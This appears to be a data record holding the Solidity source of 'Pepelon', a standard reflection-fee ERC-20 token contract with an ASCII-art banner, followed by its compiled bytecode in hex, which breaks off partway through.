████ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░██
██ ░░░░░░░░░░░░░░░░░░▒▒░░░░▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
██ ░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒ ████ ██ ▒▒ ████ ██ ██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒ ████████████ ▒▒ ████████████ ██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒██ ████████ ▒▒ ██ ██████████
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒░░░░▒▒░░░░░░░░░░░░░░░░██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓▓▓▒▒▒▒██
██ ░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▒▒▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒██
██ ░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓██
██ ░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██
████ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██████
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ██
████ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ████
████████ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ████
██ ████
████████████████████████████████████
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: No License
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PEPELON is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69696969 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Pepelon';
string private _symbol = 'PEPELON';
uint8 private _decimals = 8;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105a3578063cba0e99614610607578063dd62ed3e14610661578063f2cc0c18146106d9578063f2fde38b1461071d578063f84354f11461076157610137565b806370a0823114610426578063715018a61461047e5780638da5cb5b1461048857806395d89b41146104bc578063a457c2d71461053f57610137565b806323b872dd116100ff57806323b872dd1461028d5780632d83811914610311578063313ce5671461035357806339509351146103745780634549b039146103d857610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806313114a9d1461025157806318160ddd1461026f575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107a5565b005b610172610935565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d7565b60405180821515815260200191505060405180910390f35b6102596109f5565b6040518082815260200191505060405180910390f35b6102776109ff565b6040518082815260200191505060405180910390f35b6102f9600480360360608110156102a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a11565b60405180821515815260200191505060405180910390f35b61033d6004803603602081101561032757600080fd5b8101908080359060200190929190505050610aea565b6040518082815260200191505060405180910390f35b61035b610b6e565b604051808260ff16815260200191505060405180910390f35b6103c06004803603604081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b85565b60405180821515815260200191505060405180910390f35b610410600480360360408110156103ee57600080fd5b8101908080359060200190929190803515159060200190929190505050610c38565b6040518082815260200191505060405180910390f35b6104686004803603602081101561043c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cf5565b6040518082815260200191505060405180910390f35b610486610de0565b005b610490610f66565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c4610f8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105045780820151818401526020810190506104e9565b50505050905090810190601f1680156105315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603604081101561055557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611031565b60405180821515815260200191505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110fe565b60405180821515815260200191505060405180910390f35b6106496004803603602081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061111c565b60405180821515815260200191505060405180910390f35b6106c36004803603604081101561067757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611172565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f9565b005b61075f6004803603602081101561073357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611513565b005b6107a36004803603602081101561077757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061171e565b005b60006107af611aa8565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806132e3602c913960400191505060405180910390fd5b600061085f83611ab0565b5050505090506108b781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090f81600654611b0890919063ffffffff16565b60068190555061092a83600754611b5290919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cd5780601f106109a2576101008083540402835291602001916109cd565b820191906000526020600020905b8154815290600101906020018083116109b057829003601f168201915b5050505050905090565b60006109eb6109e4611aa8565b8484611bda565b6001905092915050565b6000600754905090565b6000690ec247bf2321cc5a8000905090565b6000610a1e848484611dd1565b610adf84610a2a611aa8565b610ada8560405180606001604052806028815260200161324960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a90611aa8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222a9092919063ffffffff16565b611bda565b600190509392505050565b6000600654821115610b47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806131b6602a913960400191505060405180910390fd5b6000610b516122ea565b9050610b66818461231590919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c2e610b92611aa8565b84610c298560036000610ba3611aa8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b611bda565b6001905092915050565b6000690ec247bf2321cc5a8000831115610cba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610cd9576000610cca84611ab0565b50505050905080915050610cef565b6000610ce484611ab0565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610d9057600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ddb565b610dd8600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aea565b90505b919050565b610de8611aa8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110275780601f10610ffc57610100808354040283529160200191611027565b820191906000526020600020905b81548152906001019060200180831161100a57829003601f168201915b5050505050905090565b60006110f461103e611aa8565b846110ef8560405180606001604052806025815260200161330f6025913960036000611068611aa8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222a9092919063ffffffff16565b611bda565b6001905092915050565b600061111261110b611aa8565b8484611dd1565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611201611aa8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561145557611411600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aea565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61151b611aa8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611661576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131e06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611726611aa8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611aa4578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a975760056001600580549050038154811061193557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061196d57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a5d57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611aa4565b80806001019150506118a8565b5050565b600033905090565b6000806000806000806000611ac48861235f565b915091506000611ad26122ea565b90506000806000611ae48c86866123b1565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611b4a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061222a565b905092915050565b600080828401905083811015611bd0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132bf6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ce6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132066022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061329a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffff